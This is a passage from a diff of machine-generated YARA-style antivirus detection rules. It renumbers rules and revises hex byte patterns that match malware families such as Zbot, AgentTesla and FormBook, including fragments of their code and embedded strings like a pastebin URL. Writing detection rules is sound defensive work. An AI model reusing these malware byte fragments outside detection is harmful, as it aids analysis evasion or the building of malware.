1)*26485+(#a_2f_5 & 1)*13166+(#a_65_7 & 1)*385) >=10 } -rule _InfrastructureShared_16014{ +rule _InfrastructureShared_17065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -187317,7 +199843,7 @@ rule _InfrastructureShared_16014{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18176+(#a_74_3 & 1)*18176+(#a_74_4 & 1)*28532+(#a_74_5 & 1)*26994+(#a_45_6 & 1)*20526+(#a_00_7 & 1)*25455+(#a_73_8 & 1)*385+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_16015{ +rule _InfrastructureShared_17066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -187336,7 +199862,7 @@ rule _InfrastructureShared_16015{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24932+(#a_6e_2 & 1)*25961+(#a_01_3 & 1)*-8691+(#a_20_4 & 1)*18756+(#a_55_5 & 1)*24930+(#a_65_6 & 1)*16687+(#a_6e_7 & 1)*385+(#a_66_8 & 1)*25957+(#a_65_9 & 1)*26220) >=10 } -rule _InfrastructureShared_16016{ +rule _InfrastructureShared_17067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -187354,7 +199880,7 @@ rule _InfrastructureShared_16016{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*8281+(#a_6c_2 & 1)*385+(#a_00_4 & 1)*0+(#a_6a_5 & 1)*29268+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_16017{ +rule _InfrastructureShared_17068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -187364,16 +199890,16 @@ rule _InfrastructureShared_16017{ $a_01_2 = {57 66 65 66 66 65 65 66 65 66 66 65 01 00 0d 81 01 34 6d 66 65 66 65 66 66 65 66 65 66 65 00 00 78 fc 00 00 0c 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 47 32 21 4d 54 42 00 01 00 09 80 01 62 75 64 68 61 2e 65 78 65 01 00 08 80 01 6b 69 6c 66 2e 65 78 65 0a 00 b3 02 2b fe 3b f8 74 90 01 01 ff 45 90 01 01 83 7d 90 1b 01 90 01 01 7c } //3072 $a_83_3 = {90 } //400 $a_01_4 = {01 0f 84 90 01 04 80 3e 90 01 01 89 5d 90 01 01 0f 85 90 01 04 80 7e 90 01 02 0f 85 90 01 04 80 7e 90 01 02 0f 85 90 01 04 38 5e 90 01 01 0f 85 90 01 04 c1 e0 90 01 01 50 6a 90 01 01 ff 75 90 01 01 ff 15 90 01 04 89 45 90 1b 09 3b c3 0f 84 90 01 04 8b 45 90 01 01 8b 4d 90 01 01 8b 0c 8d 90 01 04 8b f8 29 d2 83 e0 90 01 01 c1 e7 90 01 01 42 89 5d 90 01 01 83 f8 90 01 01 76 90 01 01 31 0c 96 8b 45 90 1b 17 42 c1 e8 90 01 01 3b d0 } //283 - $a_00_6 = {00 69 00 69 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 61 64 65 72 2e 52 50 41 21 4d 54 42 00 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 64 00 36 01 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 4b 00 70 00 6e 00 61 00 6d 00 70 00 2e 00 64 00 6c 00 6c 00 64 00 32 01 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 4f 00 6d 00 63 00 6b 00 2e 00 64 00 6c 00 6c 00 01 00 17 01 4b 33 32 45 6e 75 6d 50 72 6f 63 65 73 73 4d 6f 64 75 6c 65 73 45 78 01 00 10 01 4b 33 32 45 6e 75 6d 50 72 6f 63 65 73 73 65 73 01 00 17 01 4b 33 32 47 65 74 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 49 6e 66 6f 00 } //30720 - $a_00_7 = {00 01 00 01 00 06 00 21 23 48 53 54 52 3a 48 6f 72 6b 72 65 6d 6f 7a 2e 42 31 00 01 00 18 03 8b 45 08 50 8b 4d 0c 51 e8 90 01 04 83 c4 08 8b 55 90 01 01 c1 e2 90 00 01 00 1d 03 83 c2 01 89 55 90 01 01 8b 45 90 01 01 50 6a 0e e8 90 01 02 00 00 83 c4 08 8b 4d 90 00 01 00 24 03 89 45 ec 8b 4d 90 01 01 03 4d 90 01 01 89 4d 90 01 01 ba 90 01 04 2b 55 90 01 01 39 55 90 01 01 7d 12 90 00 01 00 2d 03 8a 11 88 10 8b 45 90 01 01 25 90 01 04 89 45 90 01 01 8b 4d 90 01 01 0f be 11 8b 45 90 01 01 0f be 08 33 ca 8b 55 90 01 01 88 0a 90 00 01 00 27 03 40 80 65 8b 55 90 01 01 83 90 01 01 01 89 55 90 01 01 8b 45 90 02 10 89 45 90 01 01 8b 4d 90 01 01 d1 e9 89 4d 90 00 01 00 1c 03 6a 01 68 00 00 00 80 8b 45 08 50 ff 15 90 01 01 40 80 65 89 45 90 01 01 8b 4d 90 00 00 } //30720 - $a_00_8 = {00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 59 6f 75 63 6c 6f 62 2e 41 00 02 00 20 01 5c 76 69 65 77 62 6f 74 7a 5c 6f 62 6a 5c 44 65 62 75 67 5c 76 69 65 77 62 6f 74 7a 2e 70 64 62 01 00 30 01 26 00 61 00 75 00 74 00 6f 00 70 00 6c 00 61 00 79 00 3d 00 31 00 26 00 6e 00 6f 00 72 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 3d 00 31 00 01 00 3c 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2e 00 70 00 68 00 70 00 3f 00 69 00 3d 00 02 00 3a 01 43 00 3a 00 5c 00 57 00 65 00 62 00 20 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 73 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 } //30720 - $a_00_9 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4d 4d 41 31 32 33 21 4d 54 42 00 01 00 74 01 57 9f b6 0b 09 1f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 7f 00 00 00 ca 00 00 00 82 01 00 00 2c 03 00 00 1e 03 00 00 53 00 00 00 e5 03 00 00 1b 00 00 00 e4 00 00 00 01 00 00 00 c0 00 00 00 07 00 00 00 09 00 00 00 32 00 00 00 64 00 00 00 7e 00 00 00 02 00 00 00 ac 01 00 00 01 00 00 00 04 00 00 00 01 00 00 00 58 00 00 00 d0 00 00 00 4b 00 00 00 01 00 24 81 01 39 37 63 39 34 34 61 63 2d 31 66 34 35 2d 34 30 38 65 2d 38 37 65 38 2d 64 36 66 32 36 37 62 63 35 38 31 34 01 00 26 81 01 53 79 73 74 65 6d 2e 52 65 61 63 74 69 76 65 2e 53 74 72 69 6e 67 73 5f 43 6f 72 65 2e 72 65 73 6f 75 72 63 65 73 00 } //30720 - $a_00_10 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 43 43 54 31 32 33 21 4d 54 42 00 01 00 7c 03 57 bd a2 3d 09 0f 00 00 00 00 00 00 00 00 00 00 02 00 00 00 ad 00 00 00 31 00 00 00 97 00 00 00 90 01 01 02 00 00 90 01 01 01 00 00 36 01 00 00 0d 00 00 00 52 00 00 00 02 00 00 00 08 00 00 00 90 01 01 00 00 00 02 00 00 00 07 00 00 00 0c 00 00 00 01 00 00 00 09 00 00 00 02 00 00 00 09 00 00 00 02 00 00 00 06 00 00 00 0b 00 00 00 1f 00 00 00 01 00 00 00 04 00 00 00 90 00 01 00 1d 81 01 46 65 72 72 65 74 4c 69 62 2e 57 69 6e 46 6f 72 6d 73 2e 50 72 6f 70 65 72 74 69 65 73 01 00 24 81 01 33 35 36 32 66 32 66 62 2d 39 39 64 38 2d 34 38 32 63 2d 38 35 39 64 2d 31 64 36 61 35 61 35 33 31 33 38 63 00 } //30720 + $a_00_6 = {00 01 00 01 00 06 00 21 23 48 53 54 52 3a 48 6f 72 6b 72 65 6d 6f 7a 2e 42 31 00 01 00 18 03 8b 45 08 50 8b 4d 0c 51 e8 90 01 04 83 c4 08 8b 55 90 01 01 c1 e2 90 00 01 00 1d 03 83 c2 01 89 55 90 01 01 8b 45 90 01 01 50 6a 0e e8 90 01 02 00 00 83 c4 08 8b 4d 90 00 01 00 24 03 89 45 ec 8b 4d 90 01 01 03 4d 90 01 01 89 4d 90 01 01 ba 90 01 04 2b 55 90 01 01 39 55 90 01 01 7d 12 90 00 01 00 2d 03 8a 11 88 10 8b 45 90 01 01 25 90 01 04 89 45 90 01 01 8b 4d 90 01 01 0f be 11 8b 45 90 01 01 0f be 08 33 ca 8b 55 90 01 01 88 0a 90 00 01 00 27 03 40 80 65 8b 55 90 01 01 83 90 01 01 01 89 55 90 01 01 8b 45 90 02 10 89 45 90 01 01 8b 4d 90 01 01 d1 e9 89 4d 90 00 01 00 1c 03 6a 01 68 00 00 00 80 8b 45 08 50 ff 15 90 01 01 40 80 65 89 45 90 01 01 8b 4d 90 00 00 } //30720 + $a_00_7 = {00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 59 6f 75 63 6c 6f 62 2e 41 00 02 00 20 01 5c 76 69 65 77 62 6f 74 7a 5c 6f 62 6a 5c 44 65 62 75 67 5c 76 69 65 77 62 6f 74 7a 2e 70 64 62 01 00 30 01 26 00 61 00 75 00 74 00 6f 00 70 00 6c 00 61 00 79 00 3d 00 31 00 26 00 6e 00 6f 00 72 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 3d 00 31 00 01 00 3c 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2e 00 70 00 68 00 70 00 3f 00 69 00 3d 00 02 00 3a 01 43 00 3a 00 5c 00 57 00 65 00 62 00 20 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 73 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 } //30720 + $a_00_8 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4d 4d 41 31 32 33 21 4d 54 42 00 01 00 74 01 57 9f b6 0b 09 1f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 7f 00 00 00 ca 00 00 00 82 01 00 00 2c 03 00 00 1e 03 00 00 53 00 00 00 e5 03 00 00 1b 00 00 00 e4 00 00 00 01 00 00 00 c0 00 00 00 07 00 00 00 09 00 00 00 32 00 00 00 64 00 00 00 7e 00 00 00 02 00 00 00 ac 01 00 00 01 00 00 00 04 00 00 00 01 00 00 00 58 00 00 00 d0 00 00 00 4b 00 00 00 01 00 24 81 01 39 37 63 39 34 34 61 63 2d 31 66 34 35 2d 34 30 38 65 2d 38 37 65 38 2d 64 36 66 32 36 37 62 63 35 38 31 34 01 00 26 81 01 53 79 73 74 65 6d 2e 52 65 61 63 74 69 76 65 2e 53 74 72 69 6e 67 73 5f 43 6f 72 65 2e 72 65 73 6f 75 72 63 65 73 00 } //30720 + $a_00_9 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 43 43 54 31 32 33 21 4d 54 42 00 01 00 7c 03 57 bd a2 3d 09 0f 00 00 00 00 00 00 00 00 00 00 02 00 00 00 ad 00 00 00 31 00 00 00 97 00 00 00 90 01 01 02 00 00 90 01 01 01 00 00 36 01 00 00 0d 00 00 00 52 00 00 00 02 00 00 00 08 00 00 00 90 01 01 00 00 00 02 00 00 00 07 00 00 00 0c 00 00 00 01 00 00 00 09 00 00 00 02 00 00 00 09 00 00 00 02 00 00 00 06 00 00 00 0b 00 00 00 1f 00 00 00 01 00 00 00 04 00 00 00 90 00 01 00 1d 81 01 46 65 72 72 65 74 4c 69 62 2e 57 69 6e 46 6f 72 6d 73 2e 50 72 6f 70 65 72 74 69 65 73 01 00 24 81 01 33 35 36 32 66 32 66 62 2d 39 39 64 38 2d 34 38 32 63 2d 38 35 39 64 2d 31 64 36 61 35 61 35 33 31 33 38 63 00 } //30720 + $a_00_10 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 46 46 43 31 32 33 21 4d 54 42 00 01 00 74 03 57 95 a2 3f 09 0f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 41 00 00 00 10 00 00 00 2f 00 00 00 47 00 00 00 3a 00 00 00 49 00 00 00 17 00 00 00 01 00 00 00 13 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 01 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 04 00 00 00 01 00 00 00 0a 00 00 00 05 00 00 00 90 01 01 00 00 00 90 00 01 00 24 81 01 62 38 62 30 65 66 64 33 2d 31 61 30 37 2d 34 39 36 62 2d 62 62 65 30 2d 61 32 30 64 30 32 36 39 36 35 33 63 01 00 25 81 01 4e 4d 4b 4c 50 4f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*25927+(#a_01_2 & 1)*3072+(#a_83_3 & 1)*400+(#a_01_4 & 1)*283+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720+(#a_00_9 & 1)*30720+(#a_00_10 & 1)*30720) >=11 } -rule _InfrastructureShared_16018{ +rule _InfrastructureShared_17069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0b 00 03 00 21 " @@ -187385,22 +199911,7 @@ rule _InfrastructureShared_16018{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28671+(#a_83_2 & 1)*400) >=11 } -rule _InfrastructureShared_16019{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,69 00 69 00 07 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 61 64 65 72 2e 52 50 41 21 4d 54 42 00 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 64 00 36 01 4f 00 72 00 69 00 67 00 69 00 6e 00 61 } //21539 - $a_00_2 = {65 00 6e 00 61 00 6d 00 65 00 00 00 4b 00 70 00 6e 00 61 00 6d 00 70 00 2e 00 64 00 6c 00 6c 00 64 00 32 01 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 4f 00 6d 00 63 00 6b 00 2e 00 64 00 6c 00 6c 00 01 00 17 01 4b 33 32 45 6e 75 6d 50 72 6f 63 65 73 73 4d 6f 64 75 } //105 - $a_45_3 = {01 00 10 01 4b 33 32 45 6e 75 6d 50 72 6f 63 65 73 73 65 73 01 00 17 01 4b 33 32 47 65 74 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 49 6e 66 6f 00 00 78 fd 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 48 6f 72 6b 72 65 6d 6f 7a 2e 42 31 00 01 00 18 03 8b 45 08 50 8b 4d 0c 51 e8 90 01 04 83 c4 08 8b 55 90 01 01 c1 e2 90 00 01 00 1d 03 83 c2 01 89 } //25964 - $a_01_4 = {8b } //-28587 - $a_01_5 = {50 } //-28603 P - $a_90_6 = {02 00 00 83 c4 08 8b 4d 90 00 01 00 24 03 89 45 ec 8b 4d 90 01 01 03 4d 90 01 01 89 4d 90 01 01 ba 90 01 04 2b 55 90 01 01 39 55 90 01 01 7d 12 90 00 01 00 2d 03 8a 11 88 10 8b 45 90 01 01 25 90 01 04 89 45 90 01 01 8b 4d 90 01 01 0f be 11 8b 45 90 01 01 0f be 08 33 ca 8b 55 90 01 01 88 0a 90 00 01 00 27 03 40 80 65 8b 55 90 01 01 83 90 01 01 01 89 55 90 01 01 8b 45 90 02 10 89 45 90 01 01 8b 4d 90 01 01 d1 e9 89 4d 90 00 01 00 1c 03 6a 01 68 00 00 00 80 8b 45 08 50 ff 15 90 01 01 40 80 65 89 45 90 01 01 8b 4d 90 00 00 00 78 fd 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 59 6f 75 63 6c 6f 62 2e 41 00 02 00 20 01 5c 76 69 65 77 62 6f 74 7a 5c 6f } //3690 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105+(#a_45_3 & 1)*25964+(#a_01_4 & 1)*-28587+(#a_01_5 & 1)*-28603+(#a_90_6 & 1)*3690) >=105 - -} -rule _InfrastructureShared_16020{ +rule _InfrastructureShared_17070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -187415,7 +199926,7 @@ rule _InfrastructureShared_16020{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28595+(#a_01_2 & 1)*-28595+(#a_01_3 & 1)*-28595+(#a_2b_4 & 1)*400+(#a_01_5 & 1)*-28587) >=1 } -rule _InfrastructureShared_16021{ +rule _InfrastructureShared_17071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -187427,7 +199938,7 @@ rule _InfrastructureShared_16021{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*61+(#a_00_3 & 1)*98) >=2 } -rule _InfrastructureShared_16022{ +rule _InfrastructureShared_17072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187438,7 +199949,7 @@ rule _InfrastructureShared_16022{ ((#a_46_0 & 1)*16675+(#a_03_2 & 1)*0) >=3 } -rule _InfrastructureShared_16023{ +rule _InfrastructureShared_17073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187449,7 +199960,7 @@ rule _InfrastructureShared_16023{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13824) >=3 } -rule _InfrastructureShared_16024{ +rule _InfrastructureShared_17074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187459,7 +199970,7 @@ rule _InfrastructureShared_16024{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_16025{ +rule _InfrastructureShared_17075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187470,7 +199981,7 @@ rule _InfrastructureShared_16025{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1536) >=3 } -rule _InfrastructureShared_16026{ +rule _InfrastructureShared_17076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -187485,7 +199996,7 @@ rule _InfrastructureShared_16026{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*51+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_94_4 & 1)*2048+(#a_eb_5 & 1)*883) >=3 } -rule _InfrastructureShared_16027{ +rule _InfrastructureShared_17077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187497,7 +200008,7 @@ rule _InfrastructureShared_16027{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_2 & 1)*52) >=4 } -rule _InfrastructureShared_16028{ +rule _InfrastructureShared_17078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187507,20 +200018,32 @@ rule _InfrastructureShared_16028{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16029{ +rule _InfrastructureShared_17079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 54 59 41 31 32 33 21 4d 54 42 00 01 00 4b 01 4b 46 00 37 00 45 00 79 00 66 00 35 00 49 00 4e 00 49 00 6e 00 61 00 62 00 72 00 44 00 46 00 68 00 48 00 45 00 2e 00 63 00 31 00 36 00 } //18467 $a_00_1 = {30 00 32 00 4b 00 53 00 77 00 4c 00 6d 00 71 00 6f 00 42 00 46 00 44 00 79 00 01 00 28 81 01 4e 6f 74 65 50 61 64 5f 5f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 23 81 01 4e 6f 74 65 50 61 64 5f 5f 2e 50 72 65 66 65 72 65 6e 63 65 73 46 6f 72 6d 2e 72 65 73 6f 75 } //73 - $a_73_2 = {00 24 81 01 30 63 34 64 62 64 34 38 2d 66 36 63 34 2d 34 61 33 32 2d 38 34 39 64 2d 36 30 64 31 66 30 62 64 66 66 32 32 00 00 78 fd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 34 30 33 32 34 21 4d 54 42 00 01 00 20 00 4c 00 } //25458 - $a_00_3 = {4b 00 54 00 79 00 52 00 61 00 51 00 50 00 68 00 61 00 71 00 42 00 66 00 6c 00 01 00 2a 00 44 00 65 00 6c 00 69 00 63 00 61 00 63 00 79 00 66 00 61 00 69 00 72 00 79 00 6c 00 61 00 6e 00 44 00 2e 00 70 00 6e 00 67 00 01 00 28 00 44 00 61 00 7a 00 7a 00 6c 00 69 00 6e 00 67 00 73 00 71 00 75 00 69 00 72 00 72 00 65 00 6c 00 2e 00 70 00 6e 00 67 00 01 00 28 } //68 + $a_73_2 = {00 24 81 01 30 63 34 64 62 64 34 38 2d 66 36 63 34 2d 34 61 33 32 2d 38 34 39 64 2d 36 30 64 31 66 30 62 64 66 66 32 32 00 00 78 fd 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 42 69 74 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 72 00 02 00 24 01 63 00 6c 00 6f 00 75 00 } //25458 + $a_00_3 = {72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 62 00 64 00 02 00 60 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 62 00 69 00 74 00 74 00 6f 00 72 00 72 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 65 00 67 00 61 00 6c 00 2f 00 70 00 72 00 69 00 76 00 } //100 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*73+(#a_73_2 & 1)*25458+(#a_00_3 & 1)*68) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*73+(#a_73_2 & 1)*25458+(#a_00_3 & 1)*100) >=4 } -rule _InfrastructureShared_16030{ +rule _InfrastructureShared_17080{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 42 69 74 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 72 00 02 00 24 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 62 00 64 00 02 00 60 01 68 00 74 00 74 00 70 00 73 00 } //20515 + $a_00_1 = {2f 00 77 00 77 00 77 00 2e 00 62 00 69 00 74 00 74 00 6f 00 72 00 72 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 65 00 67 00 61 } //58 + $a_00_3 = {69 00 76 00 61 00 63 00 79 00 2d 00 70 00 6f 00 6c 00 69 00 63 00 79 00 2f 00 01 00 22 01 42 00 69 00 74 00 54 00 6f 00 72 00 72 00 65 00 6e 00 74 00 43 00 6c 00 61 00 73 00 73 00 69 00 63 00 01 00 1a 01 42 00 69 00 74 00 54 00 6f 00 72 00 72 00 65 00 6e 00 74 00 57 00 65 00 62 00 00 00 78 fd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 } //112 + condition: + ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*58+(#a_00_3 & 1)*112) >=5 + +} +rule _InfrastructureShared_17081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187534,7 +200057,7 @@ rule _InfrastructureShared_16030{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_00_3 & 1)*101+(#a_77_4 & 1)*25697+(#a_6d_5 & 1)*31337) >=6 } -rule _InfrastructureShared_16031{ +rule _InfrastructureShared_17082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -187550,7 +200073,7 @@ rule _InfrastructureShared_16031{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24932+(#a_55_2 & 1)*28530+(#a_6d_3 & 1)*20308+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_16032{ +rule _InfrastructureShared_17083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -187566,7 +200089,7 @@ rule _InfrastructureShared_16032{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*31331+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_fd_5 & 1)*0+(#a_32_6 & 1)*13620) >=7 } -rule _InfrastructureShared_16033{ +rule _InfrastructureShared_17084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -187582,7 +200105,7 @@ rule _InfrastructureShared_16033{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*13620+(#a_66_2 & 1)*25707+(#a_54_3 & 1)*19525+(#a_00_4 & 1)*100+(#a_57_6 & 1)*7936+(#a_6f_7 & 1)*29559) >=8 } -rule _InfrastructureShared_16034{ +rule _InfrastructureShared_17085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -187595,7 +200118,7 @@ rule _InfrastructureShared_16034{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_03_3 & 1)*-28560+(#a_65_4 & 1)*28530) >=9 } -rule _InfrastructureShared_16035{ +rule _InfrastructureShared_17086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -187609,7 +200132,7 @@ rule _InfrastructureShared_16035{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*19289+(#a_70_2 & 1)*9472+(#a_49_3 & 1)*18999+(#a_53_4 & 1)*14931) >=9 } -rule _InfrastructureShared_16036{ +rule _InfrastructureShared_17087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0d 00 21 " @@ -187631,7 +200154,7 @@ rule _InfrastructureShared_16036{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_fd_10 & 1)*0+(#a_38_11 & 1)*11575+(#a_75_12 & 1)*29541) >=9 } -rule _InfrastructureShared_16037{ +rule _InfrastructureShared_17088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -187646,7 +200169,7 @@ rule _InfrastructureShared_16037{ ((#a_54_0 & 1)*18467+(#a_37_2 & 1)*9216+(#a_30_3 & 1)*25444+(#a_57_4 & 1)*22359+(#a_00_5 & 1)*21581+(#a_52_6 & 1)*25927) >=10 } -rule _InfrastructureShared_16038{ +rule _InfrastructureShared_17089{ meta: description = 